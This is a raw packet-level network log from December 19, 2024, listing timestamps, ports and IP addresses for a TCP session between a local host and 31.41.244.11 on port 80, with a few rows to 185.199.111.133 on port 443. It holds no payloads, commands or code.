Dec 19, 2024 06:09:55.560966015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.560967922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.561005116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.561018944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.561074018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.561813116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.561866045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.561870098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.561906099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.561917067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.561949968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.562772036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.562808037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.562820911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.562846899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.562856913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.562887907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.563611031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.563657999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.563666105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.563702106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.563728094 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.563739061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.564594030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.564644098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.564702988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.564738989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.564752102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.564783096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.565382004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.565435886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.565457106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.565491915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.565505028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.565540075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.566252947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.566304922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.566308975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.566343069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.566345930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.566381931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.567152977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.567200899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.567208052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.567245007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.567266941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.567297935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.568279028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.568314075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.568322897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.568350077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.568382025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.568397045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.568974018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.569010019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.569021940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.569048882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.569048882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.569087982 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.569834948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.569869995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.569878101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.569905996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.570022106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.570064068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.570718050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.570759058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.571002007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.571046114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.571072102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.571106911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.571111917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.571149111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.572014093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.572069883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.572081089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.572108030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.572108984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.572144985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.572789907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.572885990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.572896004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.572932959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.572937012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.572973967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.573677063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.573725939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.573734045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.573771000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.573777914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.573811054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.574567080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.574620008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.574621916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.574657917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.574670076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.574697018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.575475931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.575522900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.575531960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.575577021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.575582027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.575623989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.576347113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.576396942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.576404095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.576438904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.576452017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.576482058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.577214003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.577265024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.577269077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.577305079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.577316046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.577352047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.583275080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.583344936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.583375931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.583411932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.583429098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.583452940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.583761930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.583812952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.583817005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.583852053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.583877087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.583889008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.584605932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.584652901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.602324963 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:55.602395058 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:55.604830027 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:55.604845047 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:55.605057955 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:55.606820107 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:55.651339054 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:55.741288900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.741347075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.741381884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.741420984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.741421938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.741421938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.741647959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.741703987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.741704941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.741740942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.741754055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.741789103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.742526054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.742573977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.742718935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.742764950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.742773056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.742808104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.742815018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.742852926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.743670940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.743777990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.743798971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.743834019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.743844986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.743877888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.744518042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.744565964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.744574070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.744610071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.744618893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.744648933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.745417118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.745465994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.745471001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.745506048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.745513916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.745548010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.746293068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.746340036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.746349096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.746383905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.746403933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.746424913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.747160912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.747211933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.747248888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.747299910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.747301102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.747350931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.748083115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.748136044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.748136997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.748179913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.748179913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.748224974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.749062061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.749095917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.749118090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.749131918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.749138117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.749239922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.749849081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.749902010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.749903917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.749939919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.749947071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.749988079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.750744104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.750797987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.750832081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.750854015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.750881910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.751647949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.751699924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.751734972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.751751900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.751773119 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.752559900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.752593994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.752618074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.752628088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.752640009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.752669096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.753417015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.753468037 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.753472090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.753505945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.753552914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.754312992 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.754364967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.754398108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.754415989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.754440069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.755219936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.755254984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.755291939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.755306959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.755336046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.756108046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.756160975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.756195068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.756211996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.756234884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.756974936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.757030964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.757067919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.757082939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.757111073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.757858992 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.757913113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.757947922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.757961988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.757991076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.758749962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.758804083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.758837938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.758857965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.758876085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.759645939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.759697914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.759697914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.759737015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.759749889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.759783983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.760554075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.760606050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.760639906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.760659933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.760683060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.761461020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.761513948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.761549950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.761569023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.761588097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.762329102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.762624025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.762679100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.762696981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.762731075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.762780905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.763525009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.763581038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.763616085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.763633966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.763658047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.764533997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.764568090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.764604092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.764620066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.764642000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.765299082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.765352964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.765388012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.765407085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.765428066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.766200066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.766267061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.766268969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.766309977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.766316891 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.766359091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.767074108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.767123938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.767164946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.767199993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.767215014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.767241001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.767973900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.768024921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.768034935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.768069983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.768115997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.768879890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.768934011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.768968105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.768981934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.769007921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.769777060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.769830942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.769882917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.775388956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.775490999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.775526047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.775676012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.775878906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.775913954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.775938034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.775948048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.775968075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.775994062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.776685953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.780035973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.933171034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.933248997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.933341980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.933420897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.933444023 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.933480024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.933487892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.933509111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.933533907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.934297085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.934333086 CET	80	49860	31.41.244.11	192.168.2.4
